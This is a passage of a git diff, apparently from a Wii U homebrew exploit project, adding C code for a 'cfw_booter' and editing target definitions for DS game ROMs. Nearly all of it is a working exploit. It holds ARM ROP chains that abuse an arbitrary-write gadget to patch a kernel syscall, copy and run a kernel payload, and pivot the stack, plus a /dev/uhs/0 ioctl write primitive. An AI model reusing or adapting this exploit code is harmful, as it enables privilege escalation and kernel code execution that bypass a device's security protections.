0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) + 0x0, // 0xD8 + 0x0, // 0xDC + 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) + 0x0, // 0xEC + 0x10123a8b, // 0xF0 POP {R3,R4,PC} + 0x1, // 0xF4 R3 must be 1 for the arbitrary write + 0x0, // 0xF8 + 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x100 + 0x0, // 0x104 + 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) + 0x0, // 0x10C + 0x0, // 0x110 + 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A00004, // 0x11C value: MOV R0, R4 + 0x0, // 0x120 + 0x10123a8b, // 0x124 POP {R3,R4,PC} + 0x1, // 0x128 R3 must be 1 for the arbitrary write + 0x0, // 0x12C + 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x134 + 0x0, // 0x138 + 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) + 0x0, // 0x140 + 0x0, // 0x144 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x00000000, // 0x150 value: NOP + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x1AFFFFFD, // 0x150 value: BNE clean_loop + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A03004, // 0x184 value: MOV R3, R4 + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE8BD4010, // 0x184 value: POP {R4,LR} + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) + 0x0, // 0x1BC + 0x10123a8b, // 0x1C0 POP {R3,R4,PC} + 0x1, // 0x1C4 R3 must be 1 for the arbitrary write + 0x0, // 0x1C8 + 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x1D0 + 0x0, // 0x1D4 + 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 + 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches + 0x0, // 0x1E0 + 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + ARM_CODE_BASE, // 0x1E8 our code destination address + 0x0, // 0x1EC + 0x0, // 0x1F0 + 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} + 0x0, // 0x1F8 + sizeof(arm_kernel_bin), // 0x1FC our code size + 0x0, // 0x200 + 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} + 0x00140000, // 0x208 our code source location + 0x08131D04, // 0x20C KERNEL_MEMCPY address + 0x0, // 0x210 + 0x0, // 0x214 + 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) + 0x0, + 0x0, + 0x101312D0, +}; + +static const int second_chain[] = { + 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} + CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination + 0x0, // 0x08 + 0x0, // 0x0C + 0x101063db, // 0x10 POP {R1,R2,R5,PC} + 0x00130000, // 0x14 source + sizeof(final_chain), // 0x18 length + 0x0, // 0x1C + 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x101236f3, // 0x2C POP {R1-R7,PC} + 0x0, // 0x30 arg + 0x101001DC, // 0x34 stackptr + 0x68, // 0x38 stacksize + 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x40 + 0x0, // 0x44 + 0x0, // 0x48 + 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x50 + 0x0, // 0x54 + 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x5C + 0x0, // 0x60 + IOS_CREATETHREAD, // 0x64 + 0x1, // 0x68 priority + 0x2, // 0x6C flags + 0x0, // 0x70 + 0x0, // 0x74 + 0x101063db, // 0x78 POP {R1,R2,R5,PC} + 0x0, // 0x7C + -(0x240 + 0x18 + 0xF000), // 0x80 stack offset + 0x0, // 0x84 + 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} + 0x0, + 0x0, + 0x0, + 0x00110000 - 0x44, // 0x8C + 0x00110010, // 0x90 + 0x0, // 0x94 + 0x0, // 0x98 + 0x0, // 0x9C + 0x0, // 0xA0 + 0x0, // 0xA4 + 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack + 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} + 0x0, + 0x0, + 0x1012EA68, // 0xAC stack pivot +}; + +static void uhs_exploit_init(unsigned int coreinit_handle); +static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val); + +void __main(void) { + + unsigned int sound_handle = 0; + OSDynLoad_Acquire("sndcore2.rpl", &sound_handle); + if(sound_handle == 0) + { + /* Quit ongoing menu load music */ + OSDynLoad_Acquire("snd_core.rpl", &sound_handle); + void (* AXInit)(); + void (* AXQuit)(); + OSDynLoad_FindExport(sound_handle, 0, "AXInit", &AXInit); + OSDynLoad_FindExport(sound_handle, 0, "AXQuit", &AXQuit); + AXInit(); + AXQuit(); + } + + unsigned int coreinit_handle; + OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); + unsigned int sysapp_handle; + OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); + + int (* OSForceFullRelaunch)(void); + OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch); + + int (*IOS_Open)(char *path, unsigned int mode); + int (*IOS_Close)(int fd); + OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open); + OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close); + + void (*OSExitThread)(int); + OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); + + void (*SYSLaunchMenu)(void); + OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMenu", &SYSLaunchMenu); + + OSForceFullRelaunch(); + SYSLaunchMenu(); + + int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node + uhs_exploit_init(coreinit_handle); //! Init variables for the exploit + + //!------ROP CHAIN------- + + uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); + uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C); + uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE); + + uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC} + + IOS_Close(dev_uhs_0_handle); + + OSExitThread(0); +} + +static void uhs_exploit_init(unsigned int coreinit_handle) { + void (*DCFlushRange)(const void *addr, uint32_t length); + void (*DCInvalidateRange)(const void *addr, uint32_t length); + void (*memcpy)(void *dst, const void *src, uint32_t length); + OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); + OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); + OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy); + + //!------Variables used in exploit------ + int *pretend_root_hub = (int*)0xF5003ABC; + int *ayylmao = (int*)0xF4F00000; + //!------------------------------------- + + ayylmao[5] = 1; + ayylmao[8] = 0xF00000; + + memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); + memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); + memcpy((char*)(0xF4140000), arm_kernel_bin, sizeof(arm_kernel_bin)); + memcpy((char*)(0xF4148000), arm_user_bin, sizeof(arm_user_bin)); + + pretend_root_hub[33] = 0xF00000; + pretend_root_hub[78] = 0; + + DCFlushRange(pretend_root_hub + 33, 200); //! |Make CPU fetch new data (with updated vals) + DCInvalidateRange(pretend_root_hub + 33, 200); //! |for "pretend_root_hub" + + DCFlushRange((void*)0xF4120000, sizeof(second_chain)); //! |Make CPU fetch new data (with updated vals) + DCFlushRange((void*)0xF4130000, sizeof(final_chain)); //! |Make CPU fetch new data (with updated vals) + DCFlushRange((void*)0xF4140000, sizeof(arm_kernel_bin)); //! |Make CPU fetch new data (with updated vals) + DCFlushRange((void*)0xF4148000, sizeof(arm_user_bin)); //! |Make CPU fetch new data (with updated vals) +} + +static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val) { + void (*DCFlushRange)(const void *addr, uint32_t length); + void (*DCInvalidateRange)(const void *addr, uint32_t length); + void (*OSSleepTicks)(uint64_t ticks); + int (*IOS_Ioctl)(int fd, uint32_t request, void *input_buffer,uint32_t input_buffer_len, void *output_buffer, uint32_t output_buffer_len); + OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); + OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); + OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks); + OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl); + + //!------Variables used in exploit------ + int *ayylmao = (int*)0xF4F00000; + //!------------------------------------- + + ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes + DCFlushRange(ayylmao, 521 * 4); //! |Make CPU fetch new data (with updated adress) + DCInvalidateRange(ayylmao, 521 * 4); //! |for "ayylmao" + OSSleepTicks(0x200000); //! Improves stability + int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 + int output_buffer[32]; + return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); +} diff --git a/cfw_booter/types.h b/cfw_booter/types.h new file mode 100644 index 0000000..e9194b3 --- /dev/null +++ b/cfw_booter/types.h @@ -0,0 +1,22 @@ +#ifndef TYPES_H +#define TYPES_H + +typedef unsigned long long uint64_t; +typedef long long int64_t; +typedef unsigned int uint32_t; +typedef int int32_t; +typedef unsigned short uint16_t; +typedef short int16_t; +typedef unsigned char uint8_t; +typedef char int8_t; + +typedef uint32_t size_t; + +typedef _Bool bool; +#define true 1 +#define false 0 +#define null 0 + +#define NULL (void*)0 + +#endif /* TYPES_H */ diff --git a/haxchi.s b/haxchi.s index 3f9796d..cb44545 100644 --- a/haxchi.s +++ b/haxchi.s @@ -1,5 +1,5 @@ .include "defines.s" -.create FILE_NDS_NAME, 0 +.create "rom.nds", 0 .nds diff --git a/kirby_defs.s b/kirby_defs.s index 8b90ae4..f1568fe 100644 --- a/kirby_defs.s +++ b/kirby_defs.s @@ -1,6 +1,4 @@ -FILE_NDS_NAME equ "kirby.nds" - ; game stack return address HAX_TARGET_ADDRESS equ (0x107968AC) diff --git a/yoshids_defs.s b/yoshids_defs.s index a563db0..71cdb14 100644 --- a/yoshids_defs.s +++ b/yoshids_defs.s @@ -1,6 +1,4 @@ -FILE_NDS_NAME equ "yoshids.nds" - ; game stack return address HAX_TARGET_ADDRESS equ (0x1079B52C)